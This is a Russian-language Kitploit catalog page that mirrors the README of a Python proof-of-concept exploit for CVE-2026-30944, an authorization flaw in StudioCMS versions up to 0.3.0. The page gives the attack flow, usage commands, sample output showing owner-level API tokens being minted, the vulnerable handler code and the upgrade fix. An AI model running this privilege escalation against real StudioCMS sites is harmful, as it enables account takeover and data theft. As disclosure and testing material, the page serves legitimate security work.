Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-30944-PoC — Python proof-of-concept для CVE-2026-30944, эксплуатирующий уязвимость BOLA в StudioCMS для повышения привилегий через небезопасную генерацию API-токенов. | Kitploit
Инструменты/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Повышение привилегийАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасностьТестирование на Проникновение
GitHubfilipegaudard/cve-2026-30944-poc

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-30944-PoC

Python proof-of-concept для CVE-2026-30944, эксплуатирующий уязвимость BOLA в StudioCMS для повышения привилегий через небезопасную генерацию API-токенов.

Репозиторий
106 месяцев назадЕщё не проверено

🔓 CVE-2026-30944

StudioCMS — повышение привилегий через небезопасную генерацию API-токенов

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Обзор

Конечная точка POST /studiocms_api/dashboard/api-tokens в StudioCMS ≤ 0.3.0 позволяет любому аутентифицированному пользователю (как минимум с ролью Editor) генерировать API-токены для любого другого пользователя, включая учётные записи owner и admin.

Конечная точка принимает параметр user в теле запроса, указывающий UUID целевого пользователя, но никогда не проверяет, авторизован ли запрашивающий пользователь на создание токенов от имени этого целевого пользователя. Это классическая уязвимость Broken Object Level Authorization (BOLA), которая приводит к полному повышению привилегий.

Схема атаки

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Attacker   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Server     │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Full user data as Owner]         │
       │                                           │

Детали уязвимости


Содержимое

ФайлОписание
cve_2026_30944_poc.pyPython-скрипт эксплуатации с ручным и автоматическим режимами
README.mdЭтот файл
LICENSEЛицензия MIT

Предварительные требования

  • StudioCMS ≤ 0.3.0 (уязвимая версия)
  • Python 3.8+
  • Действительные учётные данные как минимум для учётной записи Editor
root@kitploit:~
pip install requests colorama

Быстрый старт

Ручная эксплуатация

root@kitploit:~
# Генерация API-токена для владельца с использованием учётной записи редактора
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Сохранение результатов в JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Автоматическое тестирование

root@kitploit:~
# Тестирование с несколькими ролями для подтверждения уязвимости
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Аргументы

Обязательные

АргументОписание
-u, --urlБазовый URL целевого StudioCMS
--uuidUUID целевого пользователя (например, учётная запись владельца)

Ручной режим

АргументОписание
--usernameИмя пользователя для аутентификации
--passwordПароль для аутентификации

Режим автоматического тестирования

Необязательные

АргументОписание
--saveСохранить результаты в JSON-файл
--no-ssl-verifyОтключить проверку SSL-сертификата

Пример вывода

Уязвимая система

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 1: Authentication
  ──────────────────────────────────────────────────────────
  [+] Authenticated as 'editor01'
  [*] Session user: editor01 (editor)
  [*] Session UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [+] API token generated successfully!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  PHASE 3: Verification
  ──────────────────────────────────────────────────────────
  [*] Verifying token access on REST API...
  [+] VULNERABILITY CONFIRMED — Full API access achieved!
  [*] Retrieved 9 user records

Исправленная система

root@kitploit:~
  ──────────────────────────────────────────────────────────
  PHASE 2: Privilege Escalation
  ──────────────────────────────────────────────────────────
  [*] Target UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generating API token for target user...
  [*] Access denied (403 Forbidden) — endpoint may be patched
  [-] Exploitation failed — token not generated

Первопричина

Уязвимый обработчик в packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (строки 16–57) принимает параметр user из JSON-тела и передаёт его напрямую в функцию генерации токена без проверок авторизации:

root@kitploit:~
// [1] Проверяется только, является ли вызывающий редактором — а НЕ для кого создаётся токен
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' из тела запроса — без проверки на соответствие аутентифицированной сессии
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Передаётся напрямую в генерацию токена — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

Модель авторизации проверяет только «является ли вызывающий как минимум редактором?» вместо «авторизован ли вызывающий на создание токена для этого конкретного пользователя?»


Влияние

  • Повышение привилегий — любой редактор может получить доступ к API уровня владельца
  • Полный доступ к API — сгенерированный токен предоставляет неограниченный доступ ко всем REST-конечным точкам
  • Захват учётной записи — злоумышленник может выдавать себя за любого пользователя, указав его UUID
  • Утечка данных — доступ к спискам пользователей, контенту и конфигурации системы

Устранение

Обновите StudioCMS до версии 0.4.0 или новее:

root@kitploit:~
npm install studiocms@latest

Правовое уведомление

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.

  • Используйте только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение
  • Несанкционированный доступ к компьютерным системам незаконен в большинстве юрисдикций
  • Автор не несёт ответственности за неправомерное использование этого инструмента
  • Всегда соблюдайте практики ответственного раскрытия уязвимостей

Ссылки

  • CVE: CVE-2026-30944
  • Advisory: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — Authorization Bypass Through User-Controlled Key
  • OWASP: API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK: T1134 — Access Token Manipulation

Автор

Filipe Gaudard


Лицензия

Этот PoC выпущен под лицензией MIT в образовательных целях. Используйте ответственно и этично.

Скачать инструмент
ПолеЗначение
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (High) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: Authorization Bypass Through User-Controlled Key
CWE (дополнительно)CWE-863: Incorrect Authorization
MITRE ATT&CKT1134 — Access Token Manipulation
OWASP APIAPI1:2023 — Broken Object Level Authorization
Затронутые версииstudiocms ≤ 0.3.0
Исправлено вstudiocms 0.4.0
АргументОписание
--auto-testВключить автоматическое тестирование с несколькими ролями
--editor-userИмя пользователя учётной записи редактора
--editor-passПароль учётной записи редактора
--visitor-userИмя пользователя учётной записи посетителя
--visitor-passПароль учётной записи посетителя